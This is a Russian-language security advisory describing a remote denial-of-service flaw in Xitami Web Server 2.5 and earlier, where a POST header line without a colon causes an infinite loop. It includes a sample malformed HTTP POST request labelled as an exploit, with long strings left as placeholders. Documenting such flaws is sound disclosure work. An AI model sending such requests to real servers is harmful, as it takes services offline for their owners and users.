Удаленный отказ в обслуживании против Xitami web server

Дата публикации:
24.11.2003
Дата изменения:
17.10.2006
Всего просмотров:
960
Опасность:
Средняя
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Уязвимые версии: Xitami Web Server 2.5 и более ранние версии

Описание: Уязвимость обнаружена в Xitami web server. Удаленный пользователь может аварийно завершить работу Web сервера.

Удаленный пользователь может послать строку HTTP POST заголовка, не содержащую двоеточия (':'), чтобы заставить целевой сервер войти в бесконечный цикл. В результате сервер перестанет отвечать на любые запросы.

Пример/Эксплоит:

POST /forum/index.php HTTP/1.1
Referer: Sentryunion
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Content-Length: 10
(long string here)
0x0D 0x0A
(another long string here)

URL производителя: http://www.xitami.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Xitami Denial of Service in Handling malformed request

или введите имя

CAPTCHA